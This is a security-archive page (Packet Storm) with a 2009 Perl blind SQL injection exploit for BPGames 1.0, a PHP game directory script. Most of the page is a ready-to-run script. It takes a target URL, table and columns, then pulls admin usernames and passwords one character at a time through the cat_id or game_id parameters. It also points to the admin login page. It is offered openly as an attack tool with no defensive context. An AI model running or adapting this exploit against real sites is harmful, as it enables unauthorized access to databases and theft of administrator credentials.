what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

BPGames 1.0 SQL Injection

BPGames 1.0 SQL Injection
Posted Sep 22, 2009
Authored by OoN_Boy | Site oonboy.blogspot.com

BPGames version 1.0 blind SQL injection exploit.

tags | exploit, sql injection
SHA-256 | 23f75e613baf0fa4d01de3311d7e1fcb435cafeac38ab682753d18b18a92cb58

BPGames 1.0 SQL Injection

Change Mirror Download
#[x]===================================================================[x]
# | AntiSecurity[dot]org |
#[x]===================================================================[x]
# | Title : BPGames 1.0 blind SQL Injection Exploit |
# | Software : BPGames |
# | Vendor : http://bpowerhouse.info |
# | Date : 22 September 2009 ( Indonesia ) |
# | Author : OoN_Boy |
# | Contact : oon.boy9@gmail.com |
# | Web : http://oonboy.info |
# | Blog : http://oonboy.blogspot.com |
#[x]===================================================================[x]
# | Technology : PHP |
# | Database : MySQL |
# | Version : 1.0 |
# | License : GNU GPL |
# | Price : $29.90 |
# | Description : is a game directory site script. The script |
# | supports multi-language settings. Site users |
# | can search for games according to categories |
#[x]===================================================================[x]
# | Google Dork : gwe ganteng :P |
#[x]===================================================================[x]
# | Exploit : http://localhost/[path]/main.php?cat_id=[sql] |
# | http://localhost/[path]/game.php?game_id=[sql]|
# | Aadmin Page : http://localhost/[path]/admin/index.php |
#[x]===================================================================[x]
# | Greetz : antisecurity.org batamhacker.or.id |
# | Vrs-hCk NoGe Paman zxvf Angela Zhang aJe H312Y|
# | yooogy mousekill }^-^{ martfella noname s4va |
# | k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua |
# | Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny|
#[x]===================================================================[x]


use HTTP::Request;
use LWP::UserAgent;

$cmsapp = 'BPGames';
$vuln = 'main.php?cat_id='; #change vuln game.php?game_id=
#vuln = 'game.php?game_id=';
$string = 'Previous'; #change if any string
#string = 'Instrucciones';
$maxlen = 32;

my $OS = "$^O";
if ($OS eq 'MSWin32') { system("cls"); } else { system("clear"); }

printf "\n
$cmsapp
[x]=================================================[x]
| BPGames 1.0 blind SQL Injection Exploit |
[x]=================================================[x]

\n";

print " [+] URL Path : "; chomp($web=<STDIN>);
print " [+] Valid ID : "; chomp($id=<STDIN>);
print " [+] Table : "; chomp($table=<STDIN>); #table name admins
print " [+] Columns : "; chomp($columns=<STDIN>); #column username and password

if ($web =~ /http:\/\// ) { $target = $web."/"; } else { $target = "http://".$web."/"; }

print "\n\n [!] Exploiting $target ...\n\n";
&get_data;
print "\n\n [!] Mission completed.\n\n";

sub get_data() {
@columns = split(/,/, $columns);
foreach $column (@columns) {
print " [+] SELECT $column FROM $table LIMIT 0,1 ...\n";
syswrite(STDOUT, " [-] $table\@$column> ", 255);
for (my $i=1; $i<=$maxlen; $i++) {
my $chr = 0;
my $found = 0;
my $char = 48;
while (!$chr && $char<=57) {
if(exploit($i,$char) =~ /$string/) {
$chr = 1;
$found = 1;
syswrite(STDOUT,chr($char),1);
} else { $found = 0; }
$char++;
}
if(!$chr) {
$char = 97;
while(!$chr && $char<=122) {
if(exploit($i,$char) =~ /$string/) {
$chr = 1;
$found = 1;
syswrite(STDOUT,chr($char),1);
} else { $found = 0; }
$char++;
}
}
if (!$found) {
print "\n"; last;
}
}
}
}

sub exploit() {
my $limit = $_[0];
my $chars = $_[1];
my $blind = '+AND+SUBSTRING((SELECT+'.$column.'+FROM+'.$table.'+LIMIT+0,1),'.$limit.',1)=CHAR('.$chars.')';
my $inject = $target.$vuln.$id.$blind;
my $content = get_content($inject);
return $content;
}

sub get_content() {
my $url = $_[0];
my $req = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $res = $ua->request($req);
if ($res->is_error){
print "\n\n [!] Error, ".$res->status_line.".\n\n";
exit;
}
return $res->content;
}

# Exploit End
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close